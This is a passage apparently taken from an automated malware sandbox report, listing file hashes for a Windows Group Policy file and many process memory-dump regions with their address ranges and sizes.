                                                                                                                                                                                                                54de93df14fed5e10f89f6f688259d54c6ccf015

                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                0073c359ecd3acf23e9958bf4e3c2da8ec076faf4ab42ee56efb8169398131ea

                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                2492f15175d56634f8e03d76130aa33e7f1a83cc18cc20d7116bc660c81dc74bcfcb84287e04cff233a4b79bc8bf3fe4cc98b8dc045bf541b43741edefe42ae3

                                                                                                                                                                                                              • C:\Windows\system32\GroupPolicy\gpt.ini

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                268B

                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                a62ce44a33f1c05fc2d340ea0ca118a4

                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                1f03eb4716015528f3de7f7674532c1345b2717d

                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a

                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732

                                                                                                                                                                                                              • memory/688-128-0x0000000000400000-0x0000000000866000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4.4MB

                                                                                                                                                                                                              • memory/688-264-0x0000000000400000-0x0000000000866000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4.4MB

                                                                                                                                                                                                              • memory/688-120-0x0000000000A70000-0x0000000000B70000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                1024KB

                                                                                                                                                                                                              • memory/688-306-0x0000000000400000-0x0000000000866000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4.4MB

                                                                                                                                                                                                              • memory/688-121-0x0000000002480000-0x00000000024A7000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                156KB

                                                                                                                                                                                                              • memory/688-437-0x0000000000400000-0x0000000000866000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4.4MB

                                                                                                                                                                                                              • memory/688-192-0x0000000061E00000-0x0000000061EF3000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                972KB

                                                                                                                                                                                                              • memory/688-225-0x0000000000400000-0x0000000000866000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4.4MB

                                                                                                                                                                                                              • memory/1400-109-0x0000000010000000-0x00000000105E8000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                5.9MB

                                                                                                                                                                                                              • memory/1464-458-0x00000000749B0000-0x0000000075160000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                7.7MB

                                                                                                                                                                                                              • memory/1464-439-0x0000000000070000-0x0000000000090000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                128KB

                                                                                                                                                                                                              • memory/1464-450-0x00000000749B0000-0x0000000075160000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                7.7MB

                                                                                                                                                                                                              • memory/1464-455-0x0000000004A30000-0x0000000004A40000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                64KB

                                                                                                                                                                                                              • memory/2716-43-0x0000000002530000-0x000000000259C000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                432KB

                                                                                                                                                                                                              • memory/2716-162-0x0000000000400000-0x0000000000889000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4.5MB

                                                                                                                                                                                                              • memory/2716-45-0x0000000000400000-0x0000000000889000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4.5MB

                                                                                                                                                                                                              • memory/2716-252-0x0000000002530000-0x000000000259C000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                432KB

                                                                                                                                                                                                              • memory/2716-42-0x0000000000B20000-0x0000000000C20000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                1024KB

                                                                                                                                                                                                              • memory/2716-251-0x0000000000400000-0x0000000000889000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4.5MB

                                                                                                                                                                                                              • memory/2816-154-0x0000000010000000-0x00000000105E8000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                5.9MB

                                                                                                                                                                                                              • memory/3204-167-0x00007FF7CF5C0000-0x00007FF7D028F000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                12.8MB

                                                                                                                                                                                                              • memory/3204-169-0x00007FF7CF5C0000-0x00007FF7D028F000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                12.8MB

                                                                                                                                                                                                              • memory/3204-165-0x00007FFC424F0000-0x00007FFC424F2000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                8KB

                                                                                                                                                                                                              • memory/3204-461-0x00007FF7CF5C0000-0x00007FF7D028F000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                12.8MB

                                                                                                                                                                                                              • memory/4168-159-0x00000000055F0000-0x0000000005600000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                64KB

                                                                                                                                                                                                              • memory/4168-13-0x0000000000400000-0x0000000000408000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                32KB

                                                                                                                                                                                                              • memory/4168-18-0x00000000749B0000-0x0000000075160000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                7.7MB

                                                                                                                                                                                                              • memory/4168-19-0x00000000055F0000-0x0000000005600000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                64KB

                                                                                                                                                                                                              • memory/4168-44-0x00000000749B0000-0x0000000075160000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                7.7MB

                                                                                                                                                                                                              • memory/4232-12-0x000001BD7A7A0000-0x000001BD7A7B0000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                64KB

                                                                                                                                                                                                              • memory/4232-11-0x000001BD7A7A0000-0x000001BD7A7B0000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                64KB

                                                                                                                                                                                                              • memory/4232-14-0x000001BD7A7A0000-0x000001BD7A7B0000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                64KB

                                                                                                                                                                                                              • memory/4232-17-0x00007FFC22740000-0x00007FFC23201000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                10.8MB

                                                                                                                                                                                                              • memory/4232-10-0x00007FFC22740000-0x00007FFC23201000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                10.8MB

                                                                                                                                                                                                              • memory/4232-0-0x000001BD7A1A0000-0x000001BD7A1C2000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                136KB

                                                                                                                                                                                                              • memory/4700-505-0x0000000003C20000-0x0000000003C56000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                216KB

                                                                                                                                                                                                              • memory/4700-506-0x00000000749B0000-0x0000000075160000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                7.7MB

                                                                                                                                                                                                              • memory/5352-567-0x0000000010000000-0x00000000105E8000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                5.9MB

                                                                                                                                                                                                              • memory/5352-578-0x0000000002280000-0x0000000002305000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                532KB

                                                                                                                                                                                                              • memory/5352-620-0x0000000003280000-0x00000000032E5000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                404KB

                                                                                                                                                                                                              • memory/5476-459-0x0000000000400000-0x00000000008AD000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4.7MB

                                                                                                                                                                                                              • memory/5476-265-0x0000000000400000-0x00000000008AD000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4.7MB

                                                                                                                                                                                                              • memory/5476-231-0x00000000028E0000-0x00000000028E1000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4KB

                                                                                                                                                                                                              • memory/5476-442-0x0000000000400000-0x00000000008AD000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4.7MB

                                                                                                                                                                                                              • memory/5476-304-0x0000000000400000-0x00000000008AD000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                4.7MB

                                                                                                                                                                                                              • memory/5476-501-0x0000000010000000-0x00000000105E8000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                5.9MB

                                                                                                                                                                                                              • memory/5524-480-0x00000248C29C0000-0x00000248C2CC0000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                3.0MB

                                                                                                                                                                                                              • memory/5524-498-0x00000248C2430000-0x00000248C2440000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                64KB

                                                                                                                                                                                                              • memory/5524-470-0x00000248C26E0000-0x00000248C26EA000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                40KB

                                                                                                                                                                                                              • memory/5524-474-0x00000248C2860000-0x00000248C28C2000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                392KB

                                                                                                                                                                                                              • memory/5524-475-0x00000248C2940000-0x00000248C29B6000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                472KB

                                                                                                                                                                                                              • memory/5524-476-0x00000248A80F0000-0x00000248A80FA000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                40KB

                                                                                                                                                                                                              • memory/5524-471-0x00000248C2700000-0x00000248C272A000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                168KB

                                                                                                                                                                                                              • memory/5524-482-0x00000248C2430000-0x00000248C2440000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                64KB

                                                                                                                                                                                                              • memory/5524-484-0x00000248C73A0000-0x00000248C73A8000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                32KB

                                                                                                                                                                                                              • memory/5524-483-0x00000248C2430000-0x00000248C2440000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                64KB

                                                                                                                                                                                                              • memory/5524-486-0x00000248C6CB0000-0x00000248C6CBE000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                56KB

                                                                                                                                                                                                              • memory/5524-485-0x00000248C6CE0000-0x00000248C6D18000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                224KB

                                                                                                                                                                                                              • memory/5524-487-0x00000248C7E40000-0x00000248C7E4A000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                40KB

                                                                                                                                                                                                              • memory/5524-488-0x00000248C7BC0000-0x00000248C7BE2000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                136KB

                                                                                                                                                                                                              • memory/5524-489-0x00000248C8380000-0x00000248C88A8000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                5.2MB

                                                                                                                                                                                                              • memory/5524-493-0x00000248C7BE0000-0x00000248C7BEC000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                48KB

                                                                                                                                                                                                              • memory/5524-492-0x00000248C7C30000-0x00000248C7C80000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                320KB

                                                                                                                                                                                                              • memory/5524-495-0x00007FFC21770000-0x00007FFC22231000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                10.8MB

                                                                                                                                                                                                              • memory/5524-496-0x00000248C7CB0000-0x00000248C7CCE000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                120KB

                                                                                                                                                                                                              • memory/5524-473-0x00000248C27E0000-0x00000248C285A000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                488KB

                                                                                                                                                                                                              • memory/5524-499-0x00000248C2430000-0x00000248C2440000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                64KB

                                                                                                                                                                                                              • memory/5524-472-0x00000248C2730000-0x00000248C27E2000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                712KB

                                                                                                                                                                                                              • memory/5524-468-0x00000248C2570000-0x00000248C2594000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                144KB

                                                                                                                                                                                                              • memory/5524-467-0x00000248C21D0000-0x00000248C21E4000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                80KB

                                                                                                                                                                                                              • memory/5524-466-0x00000248C21E0000-0x00000248C21EC000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                48KB

                                                                                                                                                                                                              • memory/5524-465-0x00000248C21C0000-0x00000248C21D0000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                64KB

                                                                                                                                                                                                              • memory/5524-464-0x00000248C2440000-0x00000248C2550000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                1.1MB

                                                                                                                                                                                                              • memory/5524-463-0x00000248C2430000-0x00000248C2440000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                64KB

                                                                                                                                                                                                              • memory/5524-462-0x00000248A4370000-0x00000248A7C68000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                57.0MB

                                                                                                                                                                                                              • memory/5524-460-0x00007FFC21770000-0x00007FFC22231000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                10.8MB

                                                                                                                                                                                                              • memory/5604-377-0x00007FFC21770000-0x00007FFC22231000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                10.8MB

                                                                                                                                                                                                              • memory/5604-307-0x0000021320610000-0x0000021320620000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                64KB

                                                                                                                                                                                                              • memory/5604-288-0x0000021320610000-0x0000021320620000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                64KB

                                                                                                                                                                                                              • memory/5604-289-0x0000021320610000-0x0000021320620000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                64KB

                                                                                                                                                                                                              • memory/5604-284-0x00007FFC21770000-0x00007FFC22231000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                10.8MB

                                                                                                                                                                                                              • memory/5608-378-0x00007FFC21770000-0x00007FFC22231000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                10.8MB

                                                                                                                                                                                                              • memory/5608-305-0x00000175CF930000-0x00000175CF940000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                64KB

                                                                                                                                                                                                              • memory/5608-290-0x00007FFC21770000-0x00007FFC22231000-memory.dmp

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                10.8MB